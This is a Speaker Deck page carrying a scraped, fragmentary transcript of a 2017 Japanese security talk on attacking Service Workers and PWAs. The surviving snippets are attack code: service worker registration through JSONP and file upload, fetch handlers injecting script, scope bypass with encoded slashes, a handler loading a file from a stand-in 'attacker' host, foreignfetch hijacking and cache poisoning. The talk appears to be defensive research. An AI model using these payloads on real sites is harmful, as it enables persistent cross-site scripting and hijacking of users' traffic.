Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Speaker Deck
PRO
Sign in
Sign up
for free
攻撃者視点で見る Service Worker / PWA Study SW
Masato Kinugawa
September 14, 2017
Technology
20
20k
攻撃者視点で見る Service Worker / PWA Study SW
PWA Study(
https://web-study.connpass.com/event/65267/
) で発表した資料です。
Masato Kinugawa
September 14, 2017
Tweet
Share
More Decks by Masato Kinugawa
See All by Masato Kinugawa
masatokinugawa
21
4.9k
masatokinugawa
5
67k
masatokinugawa
9
10k
masatokinugawa
17
10k
masatokinugawa
35
17k
masatokinugawa
2
1.4k
masatokinugawa
4
2.2k
masatokinugawa
7
2.1k
masatokinugawa
8
15k
Other Decks in Technology
See All in Technology
redhatopenshift
0
960
adarapata
2
530
yutamakotaro
1
230
sumi
0
600
takuros
3
770
terurou
0
260
sasakendayo
2
450
kanaugust
PRO
0
100
gkzz
0
390
keiya01
22
8.9k
asamihirai
0
210
sho7650
0
390
Featured
See All Featured
bryan
30
3.3k
ddemaree
274
31k
brad_frost
157
6.4k
marcelosomers
220
15k
scottboms
251
11k
holman
288
130k
jacobian
255
20k
keithpitt
401
20k
eileencodes
113
25k
reverentgeek
168
7.2k
roundedbygravity
241
21k
imathis
478
150k
Transcript
None
None
• •
• • • <script> navigator.serviceWorker.register("/sw.js") </script>
• • •
• • https://html5experts.jp/kyo_ago/5153/ https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=23
None
HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...] alert(1)//({});
<script> navigator.serviceWorker.register("/jsonp?callback=[SW_HERE]//"); </script> HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 [...]
onfetch=event=>console.log('fetch')//({});
<script> var formData = new FormData(); formData.append("csrf_token", "secret"); var sw
= "/* [SW_CODE] */"; var blob = new Blob([sw], { type: "text/javascript"}); formData.append("file", blob, "sw.js"); fetch("/upload", {method: "POST", body: formData}) .then(/* Register SW */); </script>
• •
• • onfetch=e=>{ body = '<script>alert(1)</script>'; init = {headers: {'content-type':
'text/html'}}; e.respondWith(new Response(body,init)); }
• • • <script> navigator.serviceWorker.register("/sw.js", {scope: "/"}) </script>
• • "/assets/js/sw.js", {scope: "https://other.example.com/"} "/assets/js/sw.js", {scope: "/assets/"} "/assets/js/sw.js", {scope:
"/assets/css/"} "/assets/js/sw.js", {scope: "/assets/js/"} "/assets/js/sw.js", {scope: "/assets/js/sub/"}
HTTP/1.1 200 OK content-type: text/javascript service-worker-allowed: / [...]
https://example.com/api/jsonp https://example.com/api%2Fjsonp
❝ ❞
https://example.com/out-of-scope/ https://example.com/foo/..%2Fout-of-scope%2F
None
• • •
onfetch=e=>{ e.respondWith(fetch("//attacker/poc.swf")) } •
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="example.jp" /> </cross-domain-policy> https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016
❝ ❞
<script src="//example.com/socialbutton.js"></script>
self.addEventListener('install', e => { e.registerForeignFetch({ scopes: ['/'], origins: ['*']// });
}); onforeignfetch = e => { e.respondWith(fetch(e.request).then(res => ({ response: new Response('alert(1)')// }))) }
• •
onfetch = event => { event.respondWith( caches.open("v1").then(function(cache) { return cache.match(event.request).then(function(response)
{ if (response) { return response;// } else { return fetch(event.request.clone()).then(function(response) { cache.put(event.request, response.clone());// return response; }); } }) }) ); };
<script> caches.open("v1").then(function(cache){ content = "<script>alert(1)</script>"; init = {headers: {"content-type": "text/html"}};
request = new Request("poison.html"); response = new Response(content, init); cache.put(request, response); }) </script>
<script> document.write(localStorage.getItem('name')); </script>
• • •
• • HTTP/1.1 200 OK Content-Type:text/html Clear-Site-Data: "storage"
GET https://example.com/sw.js HTTP/1.1 Host: example.com Connection: keep-alive Pragma: no-cache Cache-Control:
no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36 Accept: */* Service-Worker: script Referer: https://example.com/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en;q=0.8,en-US;q=0.6
• •
None
None